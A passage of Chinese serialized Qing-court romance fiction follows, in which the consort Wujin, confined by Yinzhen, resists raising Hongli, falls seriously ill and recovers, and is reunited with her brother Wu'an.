乌锦知道四阿哥想要她当个笼中鸟,那她就当个听话的笼中鸟,她不去打听弘春他们的消息,也不希望女儿去打听,她希望女儿是王府里过得无忧无虑的格格,大人的事终归是大人的事,别牵扯到她。
……
到皇苑第三天,弘历病了,发高烧,上吐下泻,乌锦很快让人请随行的太医过来,宽慰落泪的钮祜禄氏,说弘历一定会没事的。
弘历喝了退烧药,人睡了过去。
四阿哥过来直接指责钮祜禄氏照顾孩子不上心,疏忽大意。
“弘历是侧福晋的孩子,她才是弘历的额娘,你日后不要以弘历的额娘自居,离弘历远一点,侧福晋会亲自照顾弘历,她也会把弘历照顾好。”
钮祜禄氏直接跪下来恳求四阿哥:“主子爷,弘历他是我的孩子,你不能这样狠心将他从我身边带走,我才是他的额娘,侧福晋她不是弘历的额娘,侧福晋也没有照顾弘历,一直以来都是我在照顾抚养,侧福晋心里没有弘历这个孩子。”
钮祜禄氏话语刚落就被四阿哥狠狠踢了一脚。
“谁允许你这么说的?我说过弘历以后就是侧福晋的孩子,从今天开始,弘历不需要你来照顾,也不需要你过来看弘历,弘历为何会生病,就是因为你照顾不周,我以后要是再听到弘历叫别人为额娘,你们这些人那些奴才通通拉出去处死!”
“主子爷,弘历他是我的孩子。”钮祜禄氏哭道。
眼看着钮祜禄氏又要被四阿哥踢一脚,乌锦过去拦住发疯的他,她知道那些话其实是对着她说的,弘历这次生病,他借题发挥而已,总之不知他哪根筋又搭错了,这人阴晴不定的性子越来越明显了。
“主子爷,钮祜禄妹妹说得对,弘历不是我的孩子,我也不会把弘历当成我的孩子,我也不会照顾弘历,弘历由钮祜禄妹妹照顾是最好的,我的孩子只有曦宁一个,请主子爷收回成命,把弘历还回去给钮祜禄妹妹,小孩子生病是常有的事,主子爷别大惊小怪。”
“你为什么不想养弘历?”
乌锦看向他,心想他是在明知故问,弘历又不是她的孩子,她为什么要养,他为什么一定要她养弘历,人弘历有自己的额娘。
“主子爷,弘历不是我的孩子,我的孩子只有曦宁一个。”
“只有曦宁一个吗?”
“是,我的孩子只有曦宁一个。”
胤禛似笑非笑,没有继续逼她,只让她好好照顾弘历,随即离开。
钮祜禄氏瘫软在地上,乌锦过去扶她起来,再次十分肯定跟她说她不会养弘历,她从来没有要让弘历当她孩子的心思。
钮祜禄氏眼睛依旧红红的,刚才被吓到了,主子爷第一次对她发脾气,更是第一次踢她,她脸色发白:“侧福晋,你说的是真的吗?你真的不会把我的弘历抢走?”
“我不会,弘历不是我的孩子,我不会抢他,他是你的孩子,我没有要抢别人孩子的想法。”
“那主子爷他……他硬是要让姐姐养弘历怎么办?”
乌锦其实也不知道要怎么办,四阿哥发疯也不是她能劝住的,弘历在她这里也有三个月了,他还是没把孩子还回去给钮祜禄氏,逼得钮祜禄氏只能过来她这边照顾弘历,这次连钮祜禄氏过来照顾弘历都不允许,接下来还不知道要做什么呢。
她无奈道:“我会尽力劝他,其它的,我也不能保证,你先好好照顾弘历吧。”
“刚刚我并非是指责姐姐,我知道姐姐为我跟弘历做了很多,还请姐姐不要怪罪,别把我的话放在心上,我是一时心急才胡言乱语,我知道姐姐也有很多不得已,既然主子爷这么说了,这几日,我就先别过来,免得再惹怒主子爷,反正弘历身边有奶娘跟奴才他们看着,应该不会出事,弘历退了烧应该就没事了。”
“这样也好,委屈妹妹了,我会尽力说服主子爷,让弘历回到你身边,你放心,我真的不会要弘历当我的孩子,我知道弘历是好孩子,但我知道你才是弘历的额娘,这一点谁都不会改变,我不会让弘历叫我额娘,弘历的额娘只有一个。”
钮祜禄氏满怀感激地看着侧福晋,她知道侧福晋是真的为她着想,也是真的不想跟她抢弘历,症结是在主子爷那,主子爷单方面想要侧福晋养弘历。
“姐姐,那我先走了,弘历就暂时交给你们照顾,劳烦姐姐了。”
“嗯,放心吧。”
第113章第113章新文《康熙家的德妃又作又……
“来,弘历,把药喝了,已经不烫了,喝了再吃蜜饯。”
乌锦亲自给弘历喂药,弘历这孩子还是蛮乖的,乖乖喝药,没有哭闹,看着他把药喝完后,她让他含一颗蜜饯。
“乌额娘,我会听话的。”
“我知道弘历一向听话。”乌锦摸了摸弘历的头。
四岁的弘历稚声稚气道:“那乌额娘,我什么时候能见到我额娘,我想我额娘了。”
“快了,等回到府里就能见到了,你先养好身子。”
弘历乖乖点头。
乌锦让奶娘照顾好弘历,夜里最好有一个人守夜,免得弘历夜里踢被子而着凉,她从弘历房间出来,临近傍晚,她抬头看不远处的晚霞,昏黄中泛着金光。
“额娘,你在看什么?”
从外面玩够了回来的曦宁来到她身边,乌锦回头看女儿,她额间出了不少汗,她用手帕给她擦擦。
“你看你,里面的衣服肯定湿了,先进去换身干净的衣服,小心着凉。”
曦宁挽着她的手,笑道:“额娘,我今天跟阿玛他们去狩猎,我差点射中一只兔子,只可惜被它跑了,皇爷爷他射中一只野鹿,还有弘晖他射中两只兔子,弘时跟我一样什么都没射中。”
“你不是说你射箭功夫很厉害吗?”
“那兔子它会跑,它一下子就窜进去草丛里,不是我不厉害,而是那兔子太敏捷了。”
乌锦瞧着女儿开心的样子,不由地跟着笑起来。
“弘历弟弟好些了吗?”
“嗯,今天好些了,饿了吧,额娘让人摆膳。”
她们一块进屋,等奴才们把膳食摆上来,四阿哥也过来了,两人有共识,在女儿面前不会争吵,平静和谐地吃完晚膳。
等曦宁回她的房间,乌锦懒得理会某人,自顾自去叫人备水,她到屏风后面沐浴,整个人泡在浴桶里。
有一双温热的手掌搭在她的肩上时,她没有回头。
“还
在生我的气,弘历性子乖巧,让他当你的孩子有何不可。”
乌锦觉得现在的自己时常在他面前有一种无力感,他一意孤行,固执己见,根本听不进去别人说的话。
“你这是想补偿我还是想恶心我?”
她见不到弘春,他就把弘历放到她身边,他在心里已经打算关她一辈子了吧,不会再让她见到弘春,他用弘历代替弘春,以为这样做,她就会感激他。
“弘历有哪里不好?他年纪小,你待他好,他长大后也会亲近你,曦宁年纪不小了,再过几年,她就要嫁人了,不能陪着你,有弘历陪着你不好吗?”
乌锦回头看他一眼,气道:“你非得这样做是不是?我都说了我不想养弘历,你为什么非逼着我养,胤禛,我迟早会被你气死,我死了,你就高兴了是不是?”
“别说傻话,我们都会长命百岁,你不是还想当皇后,什么死不死的,别说这种不吉利的话。”
乌锦瞪他,不想听他说话,她把头埋在浴桶里,刚想在水里屏气就被揪起来。
“你这是干什么?”
他神情有些慌张,乌锦直接冷笑:“我想我还是自杀好了,免得被你气死了,溺死在水中是不错的方法。”
“就这么不想养?是因为弘历不是你跟十四的孩子吗?”
又来了,乌锦翻了一个白眼,心想她再跟他说话,她就是狗,她又想把脸埋在水里。
“好,既然你不想养,我会把弘历送回去,不过弘历还是记在你名下,唤你为额娘。”
乌锦猛地抬起头,略显狐疑地看着他:“你真把弘历送回去,不骗我?”
“不骗你。”
怕他又改变主意,乌锦心想弘历唤不唤她额娘这事其实无关要紧,私底下弘历想叫谁为额娘,他反正又听不到。
“这可是你说的,你跟我拉钩。”
胤禛跟她拉钩。
“既然拉钩了,你不许反悔,等回到王府,弘历就还回去给钮祜禄妹妹,这两日我先照顾着。”
胤禛见她高兴,就点点头。
“行吧,你可以跟我一块洗。”
“浴桶太小,洗不了,你先洗吧。”
“你是嫌弃我洗过的洗澡水吗?”
胤禛笑了笑,还真是有点嫌弃。
“那你出去吧,别在这里耽误我洗澡。”
到了夜里,胤禛难得感受一次乌锦的主动,她总算是心情变好了,不像之前对他爱答不理。
他们在皇苑待了五天,乌锦除了第一天出去骑马,剩下四天只是在皇苑里逛一逛,跟在府里没什么区别,倒是曦宁天天跑出去玩,把皇苑当成自己家了,到处乱跑。
五天过后,他们就打道回府了。
弘历也退烧了,回到府里,乌锦跟钮祜禄氏说弘历可以回到她那边,由她这个亲额娘照顾。
钮祜禄氏还有点不敢相信,反复问她是不是真的,她说是真的后,她就跪下来谢她。
经过三个月的折腾,弘历还是回到他额娘身边,乌锦自己也松一口气,只希望四阿哥别再发疯。
眨眼间到了六月,听闻四阿哥跟福晋两人在为弘晖挑选福晋,乌锦有些意外弘晖能活到这岁数,冥冥之中还是有一些东西改变了。
乌锦对弘晖这个孩子其实没有太深刻特别的印象,只觉得她每次见到弘晖,他都是规规矩矩,一副成熟大人的样子,福晋应该管他管得很严。
反倒弘时因为跟弘春在一块玩,她觉得弘时像个小孩子,还处在好玩的年纪,弘晖跟弘时相差六岁,长子跟次子,两人身上的担子不一样。
她看得出不仅仅是福晋管弘晖管得严,四阿哥也把弘晖当成继承人来培养,对他的要求也高,弘晖就很少玩乐。
又是下雨天,雨打屋檐,曦宁无聊地在走廊下伸手接雨水。
“额娘,这雨得下到什么时候?”
“额娘也不知道,小心弄湿袖子。”
曦宁也喜欢玩,在房间里待不住,恨不得天天出去玩,四阿哥也不拘着她,乌锦自己也不希望女儿像个大家闺秀一样大门不出,二门不迈,她更不会拘着她。
“曦玉姐姐……”
曦宁见到曦玉过来,很是兴奋,“曦玉姐姐怎么过来了?”
“来看看你。”
“曦玉姐姐是不是要嫁人了,舍不得我,才会冒雨过来看我。”
“这都被你说中了。”
两人都相视一笑,乌锦不打扰她们姐妹说悄悄话,见曦宁带着曦玉去她的闺房,她只让人送些点心瓜果过去,她没有跟着进去。
她依旧站在走廊下看着从屋檐滑落的雨水。
“在看什么?”
四阿哥不知何时站到她身边,她说在看雨水。
“雨水有什么好看的。”
“这不是无聊嘛,我天天待在府里,又无事可做,主子爷怎么过来了?”
“皇阿玛要修畅春园。”
“然后呢?”
“要耗费大量银子,只是户部恐怕拿不出那么多银子。”
乌锦听明白了,户部是四阿哥在管,他怕拿不出银子导致皇上不高兴,只是皇上要修畅春园这事,意味着皇上已经有心退居幕后,想颐养天年了,想给自己建一个好的园子老年居住。
不管银子够不够,皇上都要修园子,这个时候阻拦皇上只会引起皇上的不满,皇上都这个年纪了,他不觉得自己花点银子给自己建园子有什么错,皇上活到这个岁数,只想任性肆意地做自己想做的事情。
“拿不出会怎么样?”
“皇阿玛会责怪。”
这个问题就是无解,四阿哥劝阻不了皇上,而银子也不会凭空多出来,园子最后还是会建的。
“那主子爷打算
怎么办?”
胤禛动过自己贴补一些银两给皇阿玛修建园子的想法,不过很快打消,这畅春园太大,不是一两万银子可以建好的。
“我也不知道,但我不想让皇阿玛失望。”
“那主子爷跟皇上说户部还能动用多少银子,那些银子用完,园子建成什么样那都是以后的事,更何况疏不如堵,主子爷与其担心银子不够,不如在使用的时候节俭一些,主子爷应该清楚真正建园子耗费的银两并不在建园子上,而是被有心人中饱私囊,层层剥削,主子爷不如盯紧那些想中饱私囊的人,亲自监管比担心银子不够更管用。”
胤禛笑道:“你跟我的想法不谋而合,乌锦,你要是男子,我会认命你为我的辅政大臣。”
“可惜我是女子,主子爷,其实你自己也有想法了,你不过是想让一个人来肯定你而已,你比我聪明多了,我能想到的事情,主子爷肯定也能想到。”
乌锦从不觉得自己会比一个在朝堂上为“官”多年的人聪明,四阿哥是最后当上皇帝的人,她怎么可能比他聪明,说不定她的话在他听来是可笑的。
“三人行必有我师,当局者迷,乌锦,你很聪明。”
胤禛忍不住从身后搂住她,下巴放在她肩颈上。
乌锦也靠在他身上。
两人就静静地看着院子里的雨水。
曦玉出来时就见到阿玛跟乌额娘抱在一块的画面,她脚步顿住,她很少见到阿玛对后院的其他女人包括她额娘有这样亲密举动,她总觉得阿玛是一个温和但冷淡的人。
曦玉总是听说乌额娘很得宠,阿玛来乌额娘这里的次数最多,但百闻不如一见,她在这一刻才意识到阿玛其实不是冷淡的人,至少他对乌额娘不是冷淡的,她阿玛看乌额娘的眼神是炙热的,流露出明显的爱意。
阿玛不爱其他人,包括嫡额娘,阿玛真正爱的人只有一个,在阿玛看过来时,曦玉不由心里一紧,阿玛意识到她看到了,也没把人松开,她尴尬道:“阿玛,我跟曦宁说完话了,我先回去了。”
曦玉像是身后有人在追她,她带着两个丫鬟匆匆离开。
第114章第114章新文《康熙家的德妃又作又……
临近夏季,内务府在六月就将各色贡缎纱绣的料子下发到各府,福晋也给她送来十匹料子。
乌锦自己都不出府了,穿什么样的衣服都无所谓,所以准备都留给女儿,让府里的绣娘给曦宁做几套夏衣。
一大早,曦宁就散着头发过来找她,让她给她梳头。
乌锦让女儿坐在梳妆台前,她耐心给女儿盘发髻,编了好几条辫子,挑了一支好看的珍珠步摇给她戴上。
“额娘,你也顺便给我抹上妆吧。”对自己额娘手艺满意的曦宁想让额娘给她化妆,她今日要跟嫡额娘他们进宫给祖母请安,今日是祖母的寿辰。
“还来得及吗?”
“来得及,还早着呢。”曦宁知道要是晚了,嫡额娘会派人过来催她,没催说明时辰还早。
乌锦就给女儿从描眉开始,螺黛、脂粉、口脂再到香粉,这个年纪的女孩子大多是爱美的,她画得很细致。
“好啦,看看。”
曦宁立即拿着小镜子凑近看,她跟额娘长得很像,她从小收到非常多赞美,她也知道自己长得好看,额娘给她化完妆后,她觉得自己更好看了,额娘还在她脸颊上贴了几颗小珠子。
“好啦,时辰差不多了,别让你嫡额娘他们等你,快去吧。”
曦宁嗯了一声,开开心心地离开桃园。
乌锦一个人在桃园,基本上就是看看书,实在无聊就做一些针线活,她记得自己刚穿过来时就不希望自己困在后宅中,所以她才不想嫁人,如今她就是困在后宅中,甚至连大门都不能出,府外多热闹都跟她无关。
乌锦看书看累了去池塘那边走走,今日德妃娘娘寿辰,府里的主子基本上都进宫给娘娘贺寿,今日府里也冷清。
她自己站在桥上看着池塘里的鱼,一看就是半个时辰,站累了才回去。
曦宁是过了未时才回来。
“额娘……”
乌锦抬头,见女儿欲言又止的样子,问她怎么了。
“我见到弘春弟弟了。”
既然是德妃娘娘的寿辰,十四应该也会带着弘春进宫给娘娘贺寿,曦宁见到也不奇怪。
“弘春弟弟他跟我吵架,他说他讨厌我,说我把他额娘抢走,额娘,明明你也是我额娘,他为什么这么说我。”
“你们两当着大家的面吵架吗?”
曦宁点头,弘春还冲过来撞她,她差点被撞倒。
“弘春他说的是气话,你别放在心上,你远着他一点,别跟他走得太近。”
“可额娘不是说弘春也是我弟弟吗?”
“他是你弟弟,但你不需要跟他走得很近,不需要跟他往来,你阿玛见到会不高兴的,他说什么话,你当做没听到就好。”
曦宁觉得当时阿玛的神色的确很阴沉,看弘春的眼神也很冰冷,明明额娘也可以随他们进宫的,像年格格她们都可以进宫,唯独额娘不可以,她意识到这是阿玛的意思,弘春见不到额娘还有额娘连门都出不了都是阿玛的意思,弘春其实也没说错。
“额娘,我……阿玛他……”曦宁想说阿玛怎么可以这样对额娘,她以为阿玛跟额娘感情很好,但是阿玛连额娘出门都要管,这算是对一个人好吗?要是阿玛不让她出门,她肯定不高兴。
“额娘,我真的不可以跟弘春弟弟往来吗?”
“不可以,反正以后你见到弘春就离他远远的,你当做没有这个弟弟,你们不需要往来。”
曦宁越亲近弘春,四阿哥恐怕越生气,其实远离十四跟弘春是为了他们好,她就怕四阿哥报复他们。
“好,我知道了。”
乌锦摸了摸曦宁的头,轻轻揽着她。
曦宁靠在额娘身上,她明白额娘是为了保护她,也是为了保护弘春弟弟,阿玛他不喜欢弘春弟弟,弘春弟弟说得对,她的确抢走了他的额娘,她每一天有额娘的陪伴,可是弘春弟弟已经很久没有见过额娘了。
她一直以为阿玛很好,什么都顺着她,她当阿玛的女儿是一件很幸福的事情,但阿玛不是对谁都好,阿玛他其实有狠心那一面,她总觉得额娘是不开心的,没有一个人是想被关着的。
……
到了九月二日,曦玉出嫁,曦宁从知道曦玉嫁人就不住在府里,不会像小时候那样天天陪她玩,姐妹两也不能像小时候那样窝在房间里说悄悄话。
她没有妹妹,只有一个姐姐,弘晖他们都是男孩子,比不上姐姐跟她亲近,因为是大喜之日,她不能落泪,只是看着姐姐上了花轿后,她很是难过。
等到宴席开始后,她也没什么心思吃东西,额娘拍了拍她的手,她才收起难过。
曦玉出嫁后,府里又少一个孩子,四阿哥开始忙着修畅春园,早出晚归,王府这阵子很是平静。
乌锦反而在这个时候生病了,人开始发烧,她病怏怏地躺在床上,曦宁每天过来照顾她。
“妹妹身子素来康健,怎么会生病,哪怕是普通的感冒风寒,也得好好养着。”福晋坐在床边,关心道。
乌锦想说话,只是喉咙发痒,她捂着嘴咳嗽,喉咙中有积痰,她对着痰盂把痰咳出来,又喝了几口水才回道:“姐姐,我晓得的,这人就是不知道自己哪一天会病倒,柯大夫说等退烧后应该就没有大碍,姐姐不用担心。”
“妹妹得赶快好起来,妹妹这要是还缺奴才,尽管跟我提。”
“不用了,有他们几个照顾就够了,还有曦宁这个小帮手。”
福晋笑道:“都说女儿是贴心的小棉袄,还真是如此,我要是生病了,弘晖都没有曦宁这么贴心。”
“嫡额娘,你就别夸我了,弘晖哥哥平日里也很孝顺,我只是做了我该做的事情。”
福晋赞赏地点头:“那你好好照顾你额娘,有什么事过来跟我说。”
“放心吧,我会照顾好额娘的。”
福晋起身离开,乌锦又开始咳嗽,曦宁忙去倒水。
乌锦没想到只是普通的发烧感冒也会这么难受,她每天浑身无力,喉咙像是有源源不尽的痰堵着,鼻子出气都是热乎的,人昏昏沉沉的,什么都吃不下。
毕竟不年轻了,一点小病也这么难受,好几天都没好。
“额娘,来喝药。”
乌锦不想喝药,只是女儿亲手端药给她,她不能像小孩子那样说不喝就不喝,只能皱着眉头一口气喝了,又含了一块蜜饯。
“额娘没事,你不用时时刻刻守在这里,你想出去玩就出去玩。”
都这个时候了,曦宁哪有什么心思玩耍,额娘脸色发白,连阿玛都叮嘱她守在额娘床边,她只想额娘尽快好起来。
“额娘,等你好起来,我们去听戏好不好?”
“好,额娘也好久没听戏了。”
“额娘,你躺下睡一觉吧。”
乌锦也没有强撑,很快睡着,等她醒来的时候,四阿哥就在床边。
“要起来吗?”
乌锦被搀扶起来靠在床头,她想把痰咳出来,示意他拿痰盂给她,她对着痰盂连着吐痰,样子十分狼狈,她也顾不上自己的形象,她都病了,要什么形象。
“喝口水。”
乌锦喝水润喉后又呆呆地看着他,委屈道:“我好难受,我好想死。”
“别说傻话,你只是病了,我让太医再给你把把脉。”
“什么太医都不管用,别麻烦了。”
乌锦觉得自己烧到骨头缝都不舒服,浑身酸痛,鼻子堵,喉咙堵,嘴里没味道,加上头痛,人在极其难受的时候真的很想一死了之。
“怎样才会让你好受一点?”
“好不了,我头好疼。”
胤禛抚摸她的额头,想减轻她的头疼。
乌锦又躺下去。
“阿玛,让额娘喝点粥吧,这是猪骨熬的粥,额娘一上午都没吃东西了。”
“起来喝一碗粥。”
乌锦这会也的确有点饿,于是在四阿哥的亲喂下,她喝完一碗粥,只是刚喝完就觉得反胃,又吐了出来。
胤禛不管乌锦同不同意,让人去请太医。
曦宁在一旁都急哭了,生怕自家额娘出事。
太医过来诊断后说她已经从普通的发烧风寒到肺热了,若是再变得严重
,可能就会变成痨病。
胤禛一听会变成痨病,这痨病可是要人命的,他命太医务必要把人治好。
原本胤禛要忙着替皇阿玛修园子,因乌锦生病,他连着好几天都待在府里,太医说这肺热可能会传染,他也没管。
乌锦病得严重时,清醒的时辰比较少,因为什么都吃不下,短短几日,她瘦了一些。
因为可能会传染,基本上福晋她们想过来探望都被阻止了,渐渐的就传出乌锦病重,命不久矣的传闻,也传到外面,传到十四阿哥耳中。
胤禵一听到这个消息,直接闯进雍亲王府,外面那些护卫也不敢真伤着十四阿哥,好在四阿哥松口,让十四阿哥进来,他们才敢放十四阿哥进去,没有到动刀动剑见血的地步。
胤禵一进去就见到四哥抱着乌锦,乌锦的脸埋在他的怀里,四哥回头见到他也没把人松开。
胤禵知道四哥肯定是故意的,他见到四哥还故意低下头去亲乌锦,乌锦很明显没有拒绝。
他不愿意见到他们亲热的样子,直接踢一脚旁边的桌子,巨大的动静让乌锦也抬起头见到他。
乌锦没想到会见到十四,她见到四阿哥很明显不意外,好像知道十四会来一样,她是病人,正难受,不想掺和他们两兄弟的斗争,只要皇上还在,四阿哥就不会对十四动手。
“我要睡了,你们出去说话吧,别吵到我。”
乌锦把他们都赶出去,她的身子目前还是虚弱的,她说睡觉就真的是睡过去,不管他们,爱怎么样就怎么样。
第115章第115章新文《康熙家的德妃又作又……
乌锦醒来后见到四阿哥坐在床边,脸上青了几块,应该是被揍了,她觉得两人真打起架来,四阿哥估计不敌十四,十四毕竟是练家子。
她没有问他伤口怎么来的,装作没看到,她跟他说她想喝水。
胤禛看一眼旁边站着的奴才。
听春赶忙去倒水。
乌锦喝了半杯水,许是好几日没怎么好好吃饭,她这会肚子饿,难得产生食欲,她说她想吃酱肘子。
“太过油腻了,等你病好了再吃,先喝药。”
胤禛喂她喝药,见她皱着眉把药喝了,他说她比曦宁听话,曦宁生病的时候要哄着才肯喝药。
“我是大人,曦宁她还是孩子,你别把我当三岁小孩。”乌锦虚弱地靠在他身上,抱着他的手臂。
胤禛在这个时候也不忍苛责她,都是十四的错,他心里恨恨地想。
乌锦还是只能喝粥,加上一份人参炖鸡。
胤禛见她有食欲吃东西,吃的比前几日多,他松一口气。
“额娘,我可以进来吗?”
房间外头传来曦宁的声音,乌锦摇摇头,她这病可是会传染的,她不想传染给女儿,至于四阿哥,他身强力壮,不会有事的,女儿不一样。
“出去跟格格说她额娘没事,过几日再来探望。”
听春又出去跟小格格传达主子爷的意思,再三跟格格保证主子不是像外面传闻那样命不久矣,而是正在慢慢好转。
事实上乌锦也的确在好转,不过好得比较慢,病了一个月后,她才终于走出房间,到院子里坐在秋千上晒晒太阳。
“额娘,我给你剥的龙眼,我问过太医了,额娘可以吃龙眼。”
曦宁过来,手里端着一小碟子,上面是剥好的龙眼肉,乌锦先吃了几个,后抬头看着女儿,温声道:“这一个月吓坏了吧,我听君梅说你夜里偷偷哭了好几次。”
曦宁不想承认,垂着头说没有。
乌锦拿一颗龙眼肉递到女儿嘴边。
曦宁张嘴吃下,甜甜的龙眼肉让她一下子委屈到想落泪,她好不容易有额娘了,她很害怕再失去,若是额娘一直没好,她又成了没有额娘的人。
“傻孩子,额娘这不是没事了嘛,别担心,额娘肯定会好起来的。”乌锦摸着女儿的脸,眼神温柔。
“额娘一定要好起来。”
“嗯,额娘听曦宁的话,会尽快好起来的,额娘跟曦宁保证,来,跟额娘一块荡秋千吧。”
曦宁把那碟龙眼肉递给君梅,她坐在她小时候坐过的秋千上,一大一小荡起秋千,她想起小时候的事,她记得她小时候荡秋千的时候,额娘在身后推她,原先额娘的脸庞是模糊的,不知不觉在她的记忆里变得清晰起来。
日子就这么过去,秋去冬来。
有太医的精心调理,各种珍贵的药用在她身上,乌锦病了三个月后,基本上痊愈了,只是留下一些后遗症,比如偶尔身子会发寒发冷,受不了一点冻。
四阿哥又在忙着修畅春园,亲自盯工,白天在府里的时辰不多。
到了十二月初八,曦宁又要跟福晋她们进宫跟德妃娘娘过腊八节,乌锦给女儿梳头编发髻,跟上一次一样给她描眉化妆。
“额娘,你自己在家里也要喝腊八粥。”
“放心吧,额娘会吃两碗。”
曦宁看着额娘,额娘是笑着跟她说话,可是她有时候分不清额娘是真的开心还是她在佯装开心,进宫后祖母也不会问起额娘,逢年过节,她们可以进宫,可是额娘只能一个人待在府里过节。
“额娘,要不我今天留下来陪额娘吧。”
“不用,额娘没事,进宫后要是见到弘春,你也别主动跟他说话。”
曦宁乖巧地点头。
过了一刻钟,曦宁才走出桃园,跟着嫡额娘他们进宫,果不其然,她在祖母的永和宫见到十四叔跟弘春。
弘春看着又长高一点,他的脸也更像额娘跟她,只是没人敢说他们长得像,大家都讳莫如深。
还好今天
阿玛不在,弘春也没有像上次那样冲过来指责她,他只是狠狠地瞪她一眼。
十四叔走到她面前,问她额娘好些没有,曦宁如实说额娘已经康复,十四叔很快走开。
今日是腊八节,自然要喝腊八粥,宴席开始前,他们都先喝了半碗腊八粥。
等到用膳时,曦宁注意到对面的弘春还在瞪她,她也瞪了回去,一瞪回去,弘春就不再瞪她,而是开始吃肉。
在祖母这待了一个多时辰,他们才回去,曦宁回到桃园,还是忍不住跟额娘说她今天见到十四叔跟弘春了。
“额娘,弘春很好,他又长高了。”
乌锦知道女儿是为了宽她的心,自己出不去,没办法见到弘春,女儿算是给她“通风报信”,告诉她弘春一切都好。
“嗯,额娘晓得了,弘春他……没对你发脾气吧?”
“没有,我是姐姐,上一次是我让他,我才不跟他计较。”
乌锦亲了亲女儿的脸颊,眼看着天冷了,她说她准备做一件冬袄给她。
“额娘,不用了,你刚痊愈,还是不要做那些针线活,交给府里的绣娘就行,你只需要好好静养,其它的不用费心。”
这针线活是要费心费力的,曦宁不想自家额娘那么辛苦,额娘这几个月瘦了不少,得先把肉养回来。
乌锦忍不住又亲了亲女儿的脸。
曦宁这么大人了,被自己额娘亲还是有点不好意思,不过没有推拒,闲着没事,她跟额娘又在一块下棋。
傍晚,阿玛回来,他们在一块用膳,曦宁吃完后就回自己的房间,她知道阿玛不会弄伤额娘。
“乌安回京了。”
乌锦看向四阿哥,问道:“回京是什么意思,他是回来几天还是调回京城了?”
“回来几天,跟皇阿玛说一说福州那边的情况。”
“那我能见他吗?”
见四阿哥沉默,乌锦凑过去亲他,放软语气,“我好多年没见到乌安了,他只回来几天,主子爷应该不会这么狠心不让我见他吧,乌安可是我亲弟弟,我们姐弟两有八年还是九年没见了。”
“我没说不让你们见面。”
“那主子爷什么时候让我们见面?”
“你不是才刚病愈,我怕你额娘他们见到你瘦成这样会担心,我会让乌安进府见你一面。”
不还是不让她出府,不过她的确瘦了不少,阿玛额娘见到她这样恐怕会担心,让乌安进府见她也好,乌锦又亲了亲他的脸,刚想往后退时就被揽住腰。
“你就是这样求我的?”
“那你要怎样?”
“至少得这样才行。”
四阿哥直接堵住她的嘴,唇舌交缠,津液交换。
乌锦虽然已经差不多痊愈,但身子还是虚的,气短,没一会儿就觉得透不过气,推了推他。
“好啦,你真想憋死我啊。”
“别总说不吉利的话。”
“你是迷信的人吗?”乌锦反问他。
胤禛擦了擦她的唇角,这其实也不关迷信的事,就是他不想听到她说这样的话,他希望她长命百岁,一直陪着他。
“你觉得你能做那些事吗?”
乌锦捶他一拳,说不能。
“你去找年格格或是哪个格格侍妾,我这副身子现在经不起折腾。”
“没事,我慢慢的,不会压着你,难道你不想吗?”
他在她耳边轻声道,还咬了咬她的耳垂,乌锦懒得搭理他,让人备水给她沐浴。
夜里,乌锦还是没能逃过,不过他的确有做到慢慢的,轻柔无比,几乎不让她动,也没有压着她,反而是她自己觉得这无异于隔靴搔痒。
事后,她问他什么时候让乌安进府。
“后日。”
乌锦嗯了一声,没过多久就睡着了。
过了一天,乌安进府时不是一个人过来,还带了他的妻子跟三个孩子,曦宁也很久没见到自己的大舅了,大舅已经有四年没有回京,她很是惊讶。
“大舅,你什么时候回来的?”
乌安带着妻儿给格格行礼,回道:“微臣是三天前回的京城,格格,这是乌典,格格应该没见过,他如今三岁了。”
曦宁看了看大舅的小儿子,她的确没见过大舅的小儿子,表弟不是在京城出生的,表姐跟表哥,她是见过的。
她跟表弟招招手打招呼,然后又跟表姐表哥打招呼。
“格格,侧福晋呢?”
“我额娘在里面呢,我带舅舅进去。”
乌安心情是激动的,当年他听说姐姐的死讯,怎么也无法接受,但多年后又收到乌明的家信,说姐姐还活着,信中乌明没说明白,他一直想回京亲自见姐姐一面,问问是怎么回事。
乌锦听到外面的动静,刚想出去,乌安他们就进来了。
乌安真正见到姐姐,男儿有泪不轻弹,他还是忍不住红了眼眶,姐姐未免太瘦了,还有姐姐脸上的疤不见了,他觉得自己的姐姐一定吃了很多苦,他们一家人都是在姐姐的托举下才有的今日。
“姐……”
“哭什么?让我看看你。”
乌锦也上下仔细看乌安,她的弟弟还是成熟稳重不少,有当官的气场,听说已经是副都统了。
乌安哭到停不下来,连他的妻子赫舍里氏都觉得丈夫今日像是变了一个人,情绪十分激动,而她只是听说过丈夫的姐姐是四阿哥的侧福晋,不过当她嫁给丈夫时,姐姐已经离世,只是为何会死而复生,她知道的不多。
“好啦,你可不是三岁小孩了,快擦擦眼泪,曦宁要笑你了。”
乌安这才止住眼泪。
乌锦也跟她的弟媳寒暄说几句话,跟侄子侄女说话。
第116章第116章新文《康熙家的德妃又作又……
乌锦让曦宁带着乌安的三个孩子到外面玩,她跟乌安夫妇两单独说话。
乌安像汇报一样跟他说这八年他都做了什么,最后落在感谢四阿哥上,乌锦知道若是没有四阿哥,乌安可能像她阿玛那样先从最普通的牛录当起,顺利的话可能当上佐领,从佐领再往上升就比较难了,绝不可能当上副都统。
乌安问她当年为何会传出死讯,乌锦说她当年掉下山崖被救起来时什么都不记得了。
姐弟两聊了半个多时辰,乌锦意识到自己忽略了弟媳,忙跟弟媳说几句话,弟媳赫舍里氏是正白旗护军之女,能感觉到弟媳是一个性子温和之人。
乌锦留他们用膳,她问乌安几时回福州,乌安说五日后,她叹一口气,太过匆急了一些,不过也知道这是没办法的事,除非他调回京城,不然他总得回福州,还好乌明没有被调去外地。
四阿哥过来后,乌安才跟着四阿哥过去前院书房谈事,两人聊了什么,她不知道。
他们在王府待了半天才离开。
乌锦身子虚,在乌安他们离开后睡了一觉,等她醒来时已经天黑,她从内间出来时见到四阿哥正坐在铺炕上看书。
“曦宁呢?”
“睡了。”
“要吃点东西吗?”
乌锦刚睡醒,暂时还不饿,她问四阿哥畅春园修得怎么样了。
胤禛说还需一年才能修好,他知道皇阿玛上年纪了,他不想住在皇宫里,想搬去一个清静一点的地方住着,所以他已经让人加急施工,不过要想让皇阿玛满意,两三个月肯定是修不好的。
“主子,该喝药了。”君梅把汤药端来。
喝了三个月药的乌锦闻到那股苦味就忍不住皱眉,看了一眼四阿哥。
“你身子太弱,得喝。”
乌锦不满地瞪他一眼,他怎么看不懂她的眼色,她还想着他说不用喝呢,她皱着脸把汤药喝了,喝完迅速吃一个金桔蜜饯压掉苦味。
“过几年,我会把乌安调回京城。”
“谢谢主子爷。”
